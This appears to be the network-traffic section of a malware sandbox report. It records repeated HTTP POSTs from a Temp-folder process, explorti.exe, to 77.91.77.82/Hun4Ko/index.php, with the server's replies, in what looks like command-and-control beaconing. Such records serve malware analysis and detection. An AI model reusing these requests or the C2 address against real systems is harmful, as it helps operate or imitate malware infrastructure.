Jul 2, 2024 15:27:02.265866995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49778	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:02.382859945 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:03.102911949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:03.103791952 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:03.329391956 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49779	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:03.444155931 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:04.151762009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:04.152615070 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:04.372116089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49780	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:04.493216038 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:05.206850052 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:05.207643032 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:05.443025112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49781	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:05.553843021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:06.264875889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:06.266156912 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:06.487932920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49782	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:06.600779057 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:07.300964117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:07.301816940 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:07.524317026 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49783	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:07.637727022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:08.361052036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:08.366651058 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:08.595093966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49784	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:08.726146936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:09.431778908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:09.434777021 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:09.656748056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:09.772102118 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:10.455358028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:10.460768938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:10.676903009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49786	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:10.801851034 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:11.482330084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:11.488676071 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:11.717142105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:11.835032940 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:12.561218977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:12.561964035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:12.790927887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:12.913269043 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:13.678111076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:13.680090904 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:13.904510975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49789	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:14.031147003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:14.726788998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 15:27:14.727755070 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:14.944197893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49790	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:15.053747892 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:15.773763895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
